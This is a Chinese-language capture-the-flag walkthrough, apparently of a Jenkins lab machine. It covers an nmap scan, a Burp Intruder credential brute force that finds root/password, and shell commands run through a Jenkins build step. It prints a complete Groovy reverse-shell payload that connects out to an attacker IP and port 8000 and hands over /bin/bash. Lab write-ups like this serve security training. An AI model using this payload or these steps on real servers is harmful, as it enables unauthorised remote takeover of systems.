1.主机发现
nmap -v -sV -sC {ip}
只开放了8080端口
2.bp intruder模块爆破
bp抓包
设置参数的位置(2处)
设置payload
点击start attack
结果如下
有一组返回长度不同
root/password
3.利用GroovyScript获取flag
登录后,在GroovyScript下的BuildEnvironment(编译环境)
我们可以修改Build为Execute shell
就可以在此处写shell命令了
再点击Buildnow
左下角带#的就是我们这条命令执行的相关信息
点进去查看
就可以看到我们的shell命令执行的结果
可以看到是root用户
接下来
ls /root
再cat /root/flag.txt即可
flag{9cdfb439c7876e703e307864c9167a15}
4.利用网站脚本获取flag
官方提供的方法略有不同
在 http://10.129.142.105:8080/script 目录下
可以执行Groovy的一些脚本
具体参考官方walk through
利用exp,反弹shell
String host="IP";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
# 一定要注意缩进和代码内容
反弹成功
cd /root
cat flag.txt
# flag{9cdfb439c7876e703e307864c9167a15}